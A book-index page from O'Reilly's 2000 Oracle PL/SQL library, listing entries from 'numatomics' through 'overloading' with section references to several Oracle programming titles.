numatomics function
5.21.3. Analyzing string contents, Advanced Oracle PL/SQL Programming with Packages
10.1.3.3. numatomics function, Advanced Oracle PL/SQL Programming with Packages
number of atomics in strings: 10.1.3.3. numatomics function, Advanced Oracle PL/SQL Programming with Packages
numbers
Oracle sequence: 19.4.1.5. Generating sequence numbers, Advanced Oracle PL/SQL Programming with Packages
bailout error: 22.1.10.1. Managing the bailout error list, Advanced Oracle PL/SQL Programming with Packages
checking characters for: 5.6.2. Character type functions, Advanced Oracle PL/SQL Programming with Packages
code lines
16.3.8. Generating Line Numbers, Advanced Oracle PL/SQL Programming with Packages
15.3. Displaying Source Code, Advanced Oracle PL/SQL Programming with Packages
converting strings to/from
14.1.2. Number Format Models, Oracle PL/SQL Programming
14.2.7. The TO_CHAR function (number conversion), Oracle PL/SQL Programming
14.2.9. The TO_NUMBER function, Oracle PL/SQL Programming
17.8.7. Recursive Processing in a SQL Statement, Oracle PL/SQL Programming
date: (see date)
error codes: 22.1.6.1. The handle procedure, Advanced Oracle PL/SQL Programming with Packages
error message: 9.4. The Restriction Toggle, Advanced Oracle PL/SQL Programming with Packages
functions for: 13. Numeric, LOB, and Miscellaneous Functions, Oracle PL/SQL Programming
help index: 4.5.1. Zooming in on help text, Advanced Oracle PL/SQL Programming with Packages
line, finding code for: 23.6.6. Finding the Code for a Line Number, Oracle PL/SQL Programming
message: 9. PLVmsg: Single-Sourcing PL/SQL Message Text, Advanced Oracle PL/SQL Programming with Packages
suppressing zeros: 14.3.1. FM: Suppressing Blanks and Zeros, Oracle PL/SQL Programming
table rows
8.4. Showing Row Number Toggle, Advanced Oracle PL/SQL Programming with Packages
5.25.4. Toggle for showing row numbers, Advanced Oracle PL/SQL Programming with Packages
numcols function: 2.5.3. A Wrapper for DBMS_SQL .DESCRIBE_COLUMNS, Oracle Built-in Packages
numeric
FOR loops: 7.3. The Numeric FOR Loop, Oracle PL/SQL Programming
formatting: 3.3.2. Formatting Loops, Oracle PL/SQL Programming
loop index: 7.3. The Numeric FOR Loop, Oracle PL/SQL Programming
nontrivial increments: 7.3.3. Handling Nontrivial Increments, Oracle PL/SQL Programming
premature termination of: 7.7.2.1. Premature FOR loop termination, Oracle PL/SQL Programming
range scheme: 7.3. The Numeric FOR Loop, Oracle PL/SQL Programming
scope of: 7.6.2.1. Scope in FOR loops, Oracle PL/SQL Programming
unnecessary: 7.7.3. Avoiding the Phony Loop, Oracle PL/SQL Programming
characters (NLS), setting: 11.1.2.3. The DBMS_SESSION.SET_NLS procedure, Oracle Built-in Packages
datatypes: 4.2.1. Numeric Datatypes, Oracle PL/SQL Programming
literals: 2.3.2. Numeric Literals, Oracle PL/SQL Programming
numeric-to/from raw conversions: 9.2.2.1. Conversion and coercion, Oracle Built-in Packages
numinstr function
5.21.3. Analyzing string contents, Advanced Oracle PL/SQL Programming with Packages
10.1.3.6. numinstr function, Advanced Oracle PL/SQL Programming with Packages

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 2000 O'Reilly & Associates, Inc. All rights reserved.


Master Index: O

Index: O

OAS: (see Oracle Application Server)
OBJECT_NAME column: 8.4.3. Context Data Dictionary Views, Guide to Oracle8i Features
OBJECT_OWNER column: 8.4.3. Context Data Dictionary Views, Guide to Oracle8i Features
OCA (Oracle Client Adapter): 1.3.8.1. Oracle Lite, Oracle Web Applications
OCI: (see Oracle Call Interface)
OIDs (object identifiers)
18.4.2.1. Object identifiers (OIDs), Oracle PL/SQL Programming
uniqueness of
20.4.1. OID Uniqueness, Oracle PL/SQL Programming
20.4.4. REFs to Nonunique OIDs, Oracle PL/SQL Programming
where stored: 18.4.2.1. Object identifiers (OIDs), Oracle PL/SQL Programming
OODBs (object-oriented databases): 18.1. Introduction to Oracle8 Objects, Oracle PL/SQL Programming
OPEN FOR statement, native dynamic SQL
4.2.2. The OPEN FOR Statement, Guide to Oracle8i Features
4.6.2. Error Handling, Guide to Oracle8i Features
OPEN statement
(see also cursors)
3.2.2. Some Rules and Restrictions, Guide to Oracle8i Features
6.2.2. Cursor Operations, Oracle PL/SQL Programming
6.5. Opening Cursors, Oracle PL/SQL Programming
6.10.2. Opening Cursors with Parameters, Oracle PL/SQL Programming
OPEN FOR statement: 6.12.4. Opening Cursor Variables, Oracle PL/SQL Programming
with cursor variables: 6.12.4. Opening Cursor Variables, Oracle PL/SQL Programming
OPEN-FOR statement, native dynamic SQL: 3.2.2. Some Rules and Restrictions, Guide to Oracle8i Features
OPEN_CURSOR function
2.2.3. DBMS_SQL Programs, Oracle Built-in Packages
2.3.2.1. The DBMS_SQL.OPEN_CURSOR function, Oracle Built-in Packages
C.14.14. The OPEN_CURSOR function, Oracle PL/SQL Programming
19.5.6.1. Open and parse, Advanced Oracle PL/SQL Programming with Packages
defining cursor columns and: 2.3.5. Defining Cursor Columns, Oracle Built-in Packages
OPEN_CURSORS parameter: 6.8.1. Maximum Number of Cursors, Oracle PL/SQL Programming
OPS: (see Oracle Parallel Server)
OR REPLACE predicate: 18.3.2. CREATE TYPE and DROP TYPE: Creating and Dropping Types, Oracle PL/SQL Programming
OR bit operation: 9.2.3.3. The UTL_RAW.BIT_OR function, Oracle Built-in Packages
ORA-01652 error messages: 6.2.1.4. Checking for specific errors, Guide to Oracle8i Features
ORA-06502 error messages: 10.5.2. Improved ORA-06502 Error Messages, Guide to Oracle8i Features
ORADBX tool: 25.1. Analyzing Program Performance, Oracle PL/SQL Programming
ORBs (Object Request Brokers)
1.3.8. Calling Java from PL/SQL (Chapter 9, Calling Java from PL/SQL), Guide to Oracle8i Features
1.2.2. Application Development, Oracle Web Applications
9.1. Oracle8i and Java, Guide to Oracle8i Features
ORDER methods: 18.3.6.1. The MAP and ORDER methods, Oracle PL/SQL Programming
OS/2: 2.2.1. The TCP/IP Network, Oracle Web Applications
OUT mode, bind argument: 4.4.3. Argument Modes , Guide to Oracle8i Features
OUT parameters
15.6.2.2. OUT mode, Oracle PL/SQL Programming
22.7.3. Assign Values to All OUT and IN OUT Parameters, Oracle PL/SQL Programming
external procedure mappings: 21.4.1. Datatype Conversion, Oracle PL/SQL Programming
in functions
22.2.1.1. Do not use OUT and IN OUT parameters, Oracle PL/SQL Programming
1.7.5. Structured Code and Other Best Practices, Oracle PL/SQL Programming
OUTLN_PKG package: 7. New and Enhanced Built-in Packages in Oracle8i, Guide to Oracle8i Features
OVERLAY function: 9.2.3.12. The UTL_RAW.OVERLAY function, Oracle Built-in Packages
OWA_COOKIE package: 2.4.1. The PL/SQL Toolkit, Oracle Web Applications
GET function: 7.3.1.2. Procedures and functions, Oracle Web Applications
GET_ALL procedu: 7.3.1.2. Procedures and functions, Oracle Web Applications
REMOVE procedure: 7.3.1.2. Procedures and functions, Oracle Web Applications
SEND procedure: 7.3.1.2. Procedures and functions, Oracle Web Applications
storing cookies: 7.3.1. OWA_COOKIE: Storing Cookies, Oracle Web Applications
OWA_IMAGE: 2.4.1. The PL/SQL Toolkit, Oracle Web Applications
OWA_OPT_LOCK
7.3.2. OWA_OPT_LOCK: Record Locking, Oracle Web Applications
7.3.2.2. Procedures and functions, Oracle Web Applications
2.4.1. The PL/SQL Toolkit, Oracle Web Applications
CHECKSUM procedure: 7.3.2.2. Procedures and functions, Oracle Web Applications
GET_ROWID function: 7.3.2.2. Procedures and functions, Oracle Web Applications
STORE_VALUES procedure: 7.3.2.2. Procedures and functions, Oracle Web Applications
VERIFY_VALUES function: 7.3.2.2. Procedures and functions, Oracle Web Applications
OWA_PATTERN
2.4.1. The PL/SQL Toolkit, Oracle Web Applications
7.2.2. OWA_PATTERN: Searching and Replacing Text, Oracle Web Applications
OWA_SEC
2.4.1. The PL/SQL Toolkit, Oracle Web Applications
7.4.2. OWA_SEC: Managing Security , Oracle Web Applications
OWA_TEXT
2.4.1. The PL/SQL Toolkit, Oracle Web Applications
7.2.1. OWA_TEXT: Representing Text, Oracle Web Applications
7.2.1.2. Procedures, Oracle Web Applications
OWA_UTIL package
2.4.1. The PL/SQL Toolkit, Oracle Web Applications
7.4.1. OWA_UTIL: Creating Complex HTML Structures, Oracle Web Applications
BIND_VARIABLES procedure: 7.4.1.5. Creating complex HTML structures, Oracle Web Applications
CALENDARPRINT procedure: 7.4.1.5. Creating complex HTML structures, Oracle Web Applications
CELLSPRINT procedure: 7.4.1.5. Creating complex HTML structures, Oracle Web Applications
CHOOSE_DATE procedure: 7.4.1.3. Representing dates, Oracle Web Applications
DATETYPE datatype: 7.4.1.3. Representing dates, Oracle Web Applications
GET_CGI_ENV function: 7.4.1.2. Querying the environment, Oracle Web Applications
GET_OWA_SERVICE_PATH function: 7.4.1.2. Querying the environment, Oracle Web Applications
GET_PROCEDURE function : 7.4.1.1. Debugging, Oracle Web Applications
HTTP_HEADER_CLOSE procedure: 7.4.1.4. HTML and HTTP utilities, Oracle Web Applications
IP_ADDRESS datatype: 7.4.1.2. Querying the environment, Oracle Web Applications
LISTPRINT procedure: 7.4.1.5. Creating complex HTML structures, Oracle Web Applications
MIME_HEADER procedure: 7.4.1.4. HTML and HTTP utilities, Oracle Web Applications
PRINT_CGI_ENV procedure: 7.4.1.2. Querying the environment, Oracle Web Applications
REDIRECT_URL procedure: 7.4.1.4. HTML and HTTP utilities, Oracle Web Applications
SHOWPAGE procedure: 7.4.1.1. Debugging, Oracle Web Applications
SHOWSOURCE procedure: 7.4.1.1. Debugging, Oracle Web Applications
SIGNATURE procedure: 7.4.1.4. HTML and HTTP utilities, Oracle Web Applications
STATUS_LINE procedure: 7.4.1.4. HTML and HTTP utilities, Oracle Web Applications
TABLEPRINT function: 7.4.1.5. Creating complex HTML structures, Oracle Web Applications
TODATE function: 7.4.1.3. Representing dates, Oracle Web Applications
WHO_CALLED_ME procedure: 7.4.1.1. Debugging, Oracle Web Applications
Object Request Broker (ORB)
1.2.2. Application Development, Oracle Web Applications
1.3.8. Calling Java from PL/SQL (Chapter 9, Calling Java from PL/SQL), Guide to Oracle8i Features
9.1. Oracle8i and Java, Guide to Oracle8i Features
Oracle
how PL/SQL fits in: 1.1. What Is PL/SQL?, Oracle PL/SQL Programming
programming in: (see coding)
Oracle Application Server (OAS)
1.3. Oracle's Solution -- Oracle8i, Oracle Web Applications
4. Oracle Application Server (OAS), Oracle Web Applications
Oracle Audio Video Server: 1.3.8.1. Oracle Lite, Oracle Web Applications
Oracle Call Interface (OCI)
1.3.8.1. Oracle Lite, Oracle Web Applications
7.5.2. DBMS_LOB: Working with Temporary LOBs, Guide to Oracle8i Features
7.6.4. Improved Publish/Subscribe Support, Guide to Oracle8i Features
OCI routines, for external procedures: 21.5. OCI Service Routines, Oracle PL/SQL Programming
Oracle Client Adapter (OCA): 1.3.8.1. Oracle Lite, Oracle Web Applications
Oracle Client Interface (OCI): 1.3.8.1. Oracle Lite, Oracle Web Applications
Oracle Connect String parameter, DAD: 3.2.2.1. DAD parameters, Oracle Web Applications
Oracle Developer/2000 and built-in packages
calling: 1.3.6. Calling Built-in Packaged Code from Oracle Developer/2000 Release 1, Oracle Built-in Packages
exception handling: 1.3.6.2. Handling exceptions in Oracle Developer/2000 Release 1, Oracle Built-in Packages
referencing nonprogram elements: 1.3.6.1. Referencing packaged constants and variables, Oracle Built-in Packages
Oracle Forms
1.2. The Concept of Programming in Oracle Applications, Oracle PL/SQL Programming
1.3.8.1. Oracle Lite, Oracle Web Applications
code of: 1.2. The Concept of Programming in Oracle Applications, Oracle PL/SQL Programming
Oracle Forms applications: 1.3.7. Fine-Grained Access Control (Chapter 8, Deploying Fine-Grained Access Control), Guide to Oracle8i Features
Oracle Lite: 1.3.8.1. Oracle Lite, Oracle Web Applications
Oracle Lock Management (OLM) services: C.7. DBMS_LOCK, Oracle PL/SQL Programming
Oracle Parallel Server (OPS)
job scheduling and: 13.2.3. Miscellaneous Notes, Oracle Built-in Packages
pollling interval and DBMS_ALERT: 3.2.2.4. The DBMS_ALERT.SET_DEFAULTS procedure, Oracle Built-in Packages
testing if running: 10.1.2.15. The DBMS_UTILITY.IS_PARALLEL_SERVER function, Oracle Built-in Packages
Oracle Password parameter, DAD: 3.2.2.1. DAD parameters, Oracle Web Applications
Oracle Procedure Builder: 6.4. PL/SQL Tools, Oracle Web Applications
Oracle Reports: 1.2. The Concept of Programming in Oracle Applications, Oracle PL/SQL Programming
Oracle Server
Version 7.1: (see Release 2.1, PL/SQL)
Version 7.2: (see Release 2.2, PL/SQL)
version information: 10.1.2.19. The DBMS_UTILITY.PORT_STRING function, Oracle Built-in Packages
Oracle Spatial cartridge: 1.3.9. Oracle interMedia, Oracle Web Applications
Oracle Tools, anonymous blocks in: 15.3.3. Anonymous Blocks in the Oracle Tools, Oracle PL/SQL Programming
Oracle User Name parameter, DAD: 3.2.2.1. DAD parameters, Oracle Web Applications
Oracle interMedia
1.3. Oracle's Solution -- Oracle8i, Oracle Web Applications
1.3.9. Oracle interMedia, Oracle Web Applications
Oracle privileges, setting: 9.2.3. Setting Oracle Privileges, Guide to Oracle8i Features
Oracle*Mail: C.8. DBMS_MAIL, Oracle PL/SQL Programming
Oracle, Trusted: About the Contents, Oracle PL/SQL Programming
Oracle/AQ: (see also advanced queuing)
administration on: C.3.2. DBMS_AQADM (PL/SQL 8 Only), Oracle PL/SQL Programming
Oracle/AQ facility: C.3. Oracle AQ, the Advanced Queueing Facility, Oracle PL/SQL Programming
Oracle7: 15.3.4.1. The DBMS_REPCAT.GENERATE_REPLICATION_SUPPORT procedure, Oracle Built-in Packages
DBMS_ALERT and: 3.2.3. DBMS_ALERT Examples, Oracle Built-in Packages
DBMS_OUTPUT and: 6.1.1.1. DBMS_OUTPUT programs, Oracle Built-in Packages
ROWID format: 9.1.2. ROWID Concepts, Oracle Built-in Packages
ROWID types: 9. Datatype Packages, Oracle Built-in Packages
Oracle8
AQ and versions of
5. Oracle Advanced Queuing, Oracle Built-in Packages
5.2.3. Authorizing Accounts to Use Oracle AQ, Oracle Built-in Packages
ROWID format: 9.1.2. ROWID Concepts, Oracle Built-in Packages
ROWID types: 9. Datatype Packages, Oracle Built-in Packages
array processing in: 2.5.6.1. Using array processing to insert, Oracle Built-in Packages
datatypes:
DBMS_SQL restrictions: 2.4.1. Some Restrictions, Oracle Built-in Packages
2.3.11.1. The DBMS_SQL.DESCRIBE_COLUMNS procedure, Oracle Built-in Packages
deferred transaction scheduling with: 17.2.6. Scheduling Propagation (Oracle8 only), Oracle Built-in Packages
messages (pipes) and memory management: 3.1.7.3. The dbpipe utility package, Oracle Built-in Packages
propagation compatibility and versions of: 5.2.2.3. Setting Oracle AQ compatibility, Oracle Built-in Packages
Oracle8 Enterprise Edition, installing AQ and: 5.2.1. Installing the Oracle AQ Facility, Oracle Built-in Packages
Oracle8i:
1.3. Oracle's Solution -- Oracle8i, Oracle Web Applications
autonomous transactions: 1.3.1. Autonomous Transactions (Chapter 2, Choose Your Transaction!), Guide to Oracle8i Features
built-in packages: 1.3.6. New and Enhanced Built-in Packages (Chapter 7, New and Enhanced Built-in Packages in Oracle8i), Guide to Oracle8i Features
bulk binds and collects: 1.3.4. Bulk Binds and Collects (Chapter 5, Bulking Up with PL/SQL 8.1), Guide to Oracle8i Features
features: 1.1. What's in Oracle8i Release 8.1?, Guide to Oracle8i Features
fine-grained access control (FGAC): 1.3.7. Fine-Grained Access Control (Chapter 8, Deploying Fine-Grained Access Control), Guide to Oracle8i Features
invoker rights: 1.3.2. Invoker Rights (Chapter 3, Invoker Rights: Your Schema or Mine? ), Guide to Oracle8i Features
and Java
1.2. And Then There's Java, Guide to Oracle8i Features
1.3.8. Calling Java from PL/SQL (Chapter 9, Calling Java from PL/SQL), Guide to Oracle8i Features
native dynamic SQL: 1.3.3. Native Dynamic SQL (Chapter 4, Native Dynamic SQL in Oracle8i), Guide to Oracle8i Features
performance improvments: 1.3.9. Miscellaneous New Features and Performance Improvements (Chapter 10, More Goodies for Oracle8i PL/SQL Developers), Guide to Oracle8i Features
triggers: 1.3.5. New Trigger Capabilities (Chapter 6, New Trigger Features in Oracle8i), Guide to Oracle8i Features
obj_cur cursor
11.2.1. Cursor Into ALL_OBJECTS, Advanced Oracle PL/SQL Programming with Packages
11.4.1. Opening and Closing the PLVobj Cursor, Advanced Oracle PL/SQL Programming with Packages
object names
parsing: 10.1.2.18. The DBMS_UTILITY.NAME_TOKENIZE procedure, Oracle Built-in Packages
resolving components: 10.1.2.17. The DBMS_UTILITY.NAME_RESOLVE procedure, Oracle Built-in Packages
syntax for: 10.2.2.1. Specifying a program name, Oracle Built-in Packages
object numbers
extended ROWID format and: 9.1.2. ROWID Concepts, Oracle Built-in Packages
returning
9.1.3.4. The DBMS_ROWID.ROWID_OBJECT function, Oracle Built-in Packages
10.1.2.17. The DBMS_UTILITY.NAME_RESOLVE procedure, Oracle Built-in Packages
object privileges: 2.5.3.2. Object privileges, Oracle Web Applications
object tables
definition of: 9.2.4. UTL_REF: Referencing Objects (Oracle8.0.4), Oracle Built-in Packages
versus object views: 20.4. Differences Between Object Views and Object Tables, Oracle PL/SQL Programming
object types
18.1.1. Terminology, Oracle PL/SQL Programming
18.1.4.2. Classification , Oracle PL/SQL Programming
constructor methods
18.3.1. About Object Types, Oracle PL/SQL Programming
18.4.1.1. Constructors, Oracle PL/SQL Programming
data dictionary entries: 18.6.1. Data Dictionary, Oracle PL/SQL Programming
defining: 18.2.2. Defining the Object Type Body, Oracle PL/SQL Programming
forward type definitions: 18.3.5.1. Forward type definitions, Oracle PL/SQL Programming
instantiating objects from: 18.2.2.1. PL/SQL usage , Oracle PL/SQL Programming
modifying: 18.6.3. Schema Evolution, Oracle PL/SQL Programming
renaming: 18.6.3. Schema Evolution, Oracle PL/SQL Programming
returning: 10.1.2.17. The DBMS_UTILITY.NAME_RESOLVE procedure, Oracle Built-in Packages
syntax for: 18.3. Syntax for Creating Object Types, Oracle PL/SQL Programming
type modifiers: 18.2.3. Adding Complex Data Structures, Oracle PL/SQL Programming
object views
6.1. Triggers on Nested Table View Columns, Guide to Oracle8i Features
20. Object Views, Oracle PL/SQL Programming
INSTEAD OF triggers and: 20.2. INSTEAD OF Triggers, Oracle PL/SQL Programming
REFs and: 20.4.2. Using REFs with Object Views, Oracle PL/SQL Programming
data dictionary entries: 20.7.1. Data Dictionary, Oracle PL/SQL Programming
duplicate OIDs in: 20.4.1.1. Duplicate OIDs in a single view, Oracle PL/SQL Programming
example of: 20.1. Example: Using Object Views, Oracle PL/SQL Programming
object tables versus: 20.4. Differences Between Object Views and Object Tables, Oracle PL/SQL Programming
privileges: 20.7.2. Privileges, Oracle PL/SQL Programming
schema evolution and
20. Object Views, Oracle PL/SQL Programming
20.6. Schema Evolution, Oracle PL/SQL Programming
syntax for: 20.3.1. CREATE VIEW: Creating an Object View, Oracle PL/SQL Programming
object wizards, WebDB: 3.1.2.1. Building database objects, Oracle Web Applications
object-oriented programming
1.3.2. Object-Oriented Design, Advanced Oracle PL/SQL Programming with Packages
18. Object Types, Oracle PL/SQL Programming
18.1.5. Object Programming Themes, Oracle PL/SQL Programming
18.7. Making the Objects Option Work, Oracle PL/SQL Programming
object views and: 20. Object Views, Oracle PL/SQL Programming
object_keeper procedure
1.3.5.1. Examples of encapsulation packages, Oracle Built-in Packages
12.2.4.1. Pinning packages automatically, Oracle Built-in Packages
object_name parameter, ADD_POLICY procedure: 7.3.4. ADD_POLICY: Adding a Policy, Guide to Oracle8i Features
object_schema parameter, ADD_POLICY procedure: 7.3.4. ADD_POLICY: Adding a Policy, Guide to Oracle8i Features
objects
(see also partitioned objects)
5.20. PLVobj: Object Interface, Advanced Oracle PL/SQL Programming with Packages
11. PLVobj: A Packaged Interface to ALL_OBJECTS, Advanced Oracle PL/SQL Programming with Packages
10.1.2.3. The DBMS_UTILITY.ANALYZE_PART_OBJECT procedure (Oracle8 Only), Oracle Built-in Packages
18.1. Introduction to Oracle8 Objects, Oracle PL/SQL Programming
2.5.2. Database Objects, Oracle Web Applications
DBMS_SQL restrictions: 2.4.1. Some Restrictions, Oracle Built-in Packages
LOBs (large objects): 1.4.7.6. Large object support, Oracle PL/SQL Programming
functions for: 13.2. LOB Function Descriptions, Oracle PL/SQL Programming
OIDs (object identifiers): 18.4.2.1. Object identifiers (OIDs), Oracle PL/SQL Programming
REFs: (see REFs)
assigning: 18.4.1.2. Direct assignment, Oracle PL/SQL Programming
binding to cursor: 11.5. Binding Objects to a Dynamic Cursor, Advanced Oracle PL/SQL Programming with Packages
collections as object types: 19.2.1.2. Collection as an attribute of an object type, Oracle PL/SQL Programming
comparing: 18.3.6. Comparing Objects, Oracle PL/SQL Programming
database structure for: 18.2.2.2. DDL usage , Oracle PL/SQL Programming
deleting rows containing: 9.2.5.1. The UTL_REF.DELETE_OBJECT procedure, Oracle Built-in Packages
dependency of: 23.6.1. Displaying Object Dependencies, Oracle PL/SQL Programming
desc command (SQL*Plus): 18.6.2. SQL*Plus "Describe" Command, Oracle PL/SQL Programming
destroying: 18.5.3. Approach 3: Do Everything via Methods, Oracle PL/SQL Programming
dot notation: 18.3.4. Dot Notation, Oracle PL/SQL Programming
dropping
DROP_MASTER_REPOBJECT used for: 15.3.3.3. The DBMS_REPCAT.DROP_MASTER_REPOBJECT procedure, Oracle Built-in Packages
example: 2.5.1. A Generic Drop_Object Procedure, Oracle Built-in Packages
equality of, testing: 18.3.6.2. Equality comparisons, Oracle PL/SQL Programming
examples of
18.1.2. Some Simple Examples, Oracle PL/SQL Programming
18.2. Oracle Objects Example, Oracle PL/SQL Programming
handles for: (see identifiers)
identifiers: (see OIDs)
identifying: 2.5.1. A Generic Drop_Object Procedure, Oracle Built-in Packages
in packages: 16.1.4. Object Persistence, Oracle PL/SQL Programming
index-by tables of: 25.4.8. Use Index-By Tables of Records and Objects, Oracle PL/SQL Programming
inheritance: 18.1.4.3. Inheritance , Oracle PL/SQL Programming
initializing: 18.4.1. The Need to Initialize, Oracle PL/SQL Programming
instantiating: 18.2.2.1. PL/SQL usage , Oracle PL/SQL Programming
locking: 9.2.5.2. The UTL_REF.LOCK_OBJECT procedure, Oracle Built-in Packages
names for, parsing: 2.5.4.3. Constructing the SELECT, Oracle Built-in Packages
numbers for: (see object numbers)
object views: 1.4.7.4. Object views, Oracle PL/SQL Programming
object-oriented model support: 1.4.7.1. Support for an object-oriented model, Oracle PL/SQL Programming
persistence: 1.3.4. Object Persistence, Advanced Oracle PL/SQL Programming with Packages
persistent, modifying: 18.5. Modifying Persistent Objects, Oracle PL/SQL Programming
populating tables with: 11.6. Populating a PL/SQL Table with Object Names, Advanced Oracle PL/SQL Programming with Packages
privileges: 18.3.7. Privileges, Oracle PL/SQL Programming
referencing: 9.2.4. UTL_REF: Referencing Objects (Oracle8.0.4), Oracle Built-in Packages
referring to: 18.4.2. OID, VALUE, REF, and DEREF, Oracle PL/SQL Programming
retrieving
9.2.5.2. The UTL_REF.LOCK_OBJECT procedure, Oracle Built-in Packages
9.2.5.3. The UTL_REF.SELECT_OBJECT procedure, Oracle Built-in Packages
returning value of: 18.4.2.4. DEREF, Oracle PL/SQL Programming
self-reference: (see SELF object)
stored
managing with SQL*Plus: 23.5. Managing Stored Objects with SQL*Plus, Oracle PL/SQL Programming
viewing with SQL: 23.6. Using SQL to Examine Stored Objects, Oracle PL/SQL Programming
synonyms for: 23.2.2. Creating Synonyms for Stored Objects, Oracle PL/SQL Programming
updating: 9.2.5.4. The UTL_REF.UPDATE_OBJECT procedure, Oracle Built-in Packages
views for: 2.5.1. A Generic Drop_Object Procedure, Oracle Built-in Packages
objects and collections, native dynamic SQL: 4.5. Working with Objects and Collections, Guide to Oracle8i Features
off procedure: 11.2.3. DBMS_SYSTEM Examples, Oracle Built-in Packages
offline instantiation: (see master sites, instantiation; snapshots, instantiation)
one-dimensionality of tables: 10.2. Characteristics of PL/SQL Tables, Oracle PL/SQL Programming
one_animal function: 5.7.5. Searching by Correlation Identifier, Oracle Built-in Packages
onestring.spp : 6.2.6.3. Combining locations and filenames, Oracle Built-in Packages
online analytical processing (OLAP): 7. New and Enhanced Built-in Packages in Oracle8i, Guide to Oracle8i Features
online auction (example): 3.2.3.1. The online auction, Oracle Built-in Packages
online help
(see also documentation)
17. PLVhlp: Online Help for PL/SQL Programs, Advanced Oracle PL/SQL Programming with Packages
page size
17.4.2. Setting the Page Size, Advanced Oracle PL/SQL Programming with Packages
17.5.6.4. Maintaining the current page variables, Advanced Oracle PL/SQL Programming with Packages
onlyfair.sql file: 5.3.3. Using the RETURNING Clause with Bulk Operations, Guide to Oracle8i Features
onsale function: 5.7.6. Using Time Delay and Expiration, Oracle Built-in Packages
open function
6.2.6.3. Combining locations and filenames, Oracle Built-in Packages
6.2.6.4. Adding support for paths, Oracle Built-in Packages
openFor program, ndsutil.pkg file: 4.7. NDS Utility Package, Guide to Oracle8i Features
open_and_parse function
2.7.3. Implementing the Window, Advanced Oracle PL/SQL Programming with Packages
5.9.3. Bundled, low-level operations, Advanced Oracle PL/SQL Programming with Packages
19.5.6.1. Open and parse, Advanced Oracle PL/SQL Programming with Packages
2.4.3. Combining Operations, Oracle Built-in Packages
open_objects procedure
5.20.5. Interfacing with the PLVobj cursor, Advanced Oracle PL/SQL Programming with Packages
11.4.1. Opening and Closing the PLVobj Cursor, Advanced Oracle PL/SQL Programming with Packages
opening
PLVobj cursor: 11.4.1. Opening and Closing the PLVobj Cursor, Advanced Oracle PL/SQL Programming with Packages
files: 13.4. Opening and Closing Files, Advanced Oracle PL/SQL Programming with Packages
cursors
6.2.2. Cursor Operations, Oracle PL/SQL Programming
6.5. Opening Cursors, Oracle PL/SQL Programming
6.10.2. Opening Cursors with Parameters, Oracle PL/SQL Programming
6.12.4. Opening Cursor Variables, Oracle PL/SQL Programming
files: 5.11.7. Opening a file, Advanced Oracle PL/SQL Programming with Packages
openprse.sf : 2.4.3. Combining Operations, Oracle Built-in Packages
operating systems
delimiter
5.11.3. Setting the operating system delimiter, Advanced Oracle PL/SQL Programming with Packages
13.2.1. Setting the Operating System Delimiter, Advanced Oracle PL/SQL Programming with Packages
executing commands with DBMS_PIPE: 3.1.7.1. Communicating with the outside world, Oracle Built-in Packages
managing: 5.11. PLVfile: Operating System I/O Manager, Advanced Oracle PL/SQL Programming with Packages
operating sytem files: C.17. UTL_FILE, Oracle PL/SQL Programming
returning name of: 10.1.2.19. The DBMS_UTILITY.PORT_STRING function, Oracle Built-in Packages
operators, REFs as: 18.4.2.2. REFs, Oracle PL/SQL Programming
optimistic locking: 7.3.2. OWA_OPT_LOCK: Record Locking, Oracle Web Applications
optimizing foreign key lookups: 10.9.5. Optimizing Foreign Key Lookups with PL/SQL Tables, Oracle PL/SQL Programming
optional parameters: 2.3.4.1. The DBMS_SQL.BIND_VARIABLE procedure , Oracle Built-in Packages
oracle.sql.STRUCT class: 9.9.2. Passing Objects to Java, Guide to Oracle8i Features
order, VARRAY elements: 19.4.1.4. VARRAY integration, Oracle PL/SQL Programming
order of package elements: 2.2.1. Choosing the Order of Elements, Advanced Oracle PL/SQL Programming with Packages
out_of_bounds exception: 5.18.1. Package exceptions, Advanced Oracle PL/SQL Programming with Packages
outer tables: 19.1. Types of Collections, Oracle PL/SQL Programming
output
(see also I/O)
from p package: 7.4. Controlling Output from p, Advanced Oracle PL/SQL Programming with Packages
output generation: 6.1. DBMS_OUTPUT: Displaying Output, Oracle Built-in Packages
disabling output: 6.1.2.2. The DBMS_OUTPUT.DISABLE procedure, Oracle Built-in Packages
enabling output
6.1.2.1. The DBMS_OUTPUT.ENABLE procedure, Oracle Built-in Packages
6.1.5. Tips on Using DBMS_OUTPUT, Oracle Built-in Packages
enabling/disabling with SQL*: 6.1.2.2. The DBMS_OUTPUT.DISABLE procedure, Oracle Built-in Packages
reading
multiple lines: 6.1.4.2. The DBMS_OUTPUT.GET_LINES procedure, Oracle Built-in Packages
one line: 6.1.4.1. The DBMS_OUTPUT.GET_LINE procedure, Oracle Built-in Packages
writing
data: 6.1.3.1. The DBMS_OUTPUT.PUT procedure, Oracle Built-in Packages
data with newline marker: 6.1.3.2. The DBMS_OUTPUT.PUT_LINE procedure, Oracle Built-in Packages
newline markers: 6.1.3.3. The DBMS_OUTPUT.NEW_LINE procedure, Oracle Built-in Packages
output prefix: 7.3. The Output Prefix , Advanced Oracle PL/SQL Programming with Packages
overhead, CPU
(see also performance)
operation: 14.4.2. Calculating Overhead of an Action, Advanced Oracle PL/SQL Programming with Packages
overlap function
5.29.2. Setting the overlap, Advanced Oracle PL/SQL Programming with Packages
15.2.2. Setting the Code Overlap, Advanced Oracle PL/SQL Programming with Packages
overlap, code: 15.2.2. Setting the Code Overlap, Advanced Oracle PL/SQL Programming with Packages
overloading
2.8. Overloading for Smart Packages, Advanced Oracle PL/SQL Programming with Packages
2.9.1. Implementing Overloading with Private Programs, Advanced Oracle PL/SQL Programming with Packages
describing parameters and: 10.2.2.3. How overloading is handled, Oracle Built-in Packages
in PLVgen package: 16.4.4. Overloading in PLVgen, Advanced Oracle PL/SQL Programming with Packages
l procedure: 5.2.4. The overloadings of the l procedure, Advanced Oracle PL/SQL Programming with Packages
PL/SQL: 6.1.5. Overloading, Oracle Web Applications
overloaded modules
18.1.4.4. Polymorphism , Oracle PL/SQL Programming
1.6.6. Module overloading, Oracle PL/SQL Programming
15.8. Module Overloading, Oracle PL/SQL Programming
restrictions on: 15.8.4. Restrictions on Overloading, Oracle PL/SQL Programming

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 2000 O'Reilly & Associates, Inc. All rights reserved.


Master Index: P

Index: P

PACKAGE column
*_CONTEXT data dictionary views: 8.4.3. Context Data Dictionary Views, Guide to Oracle8i Features
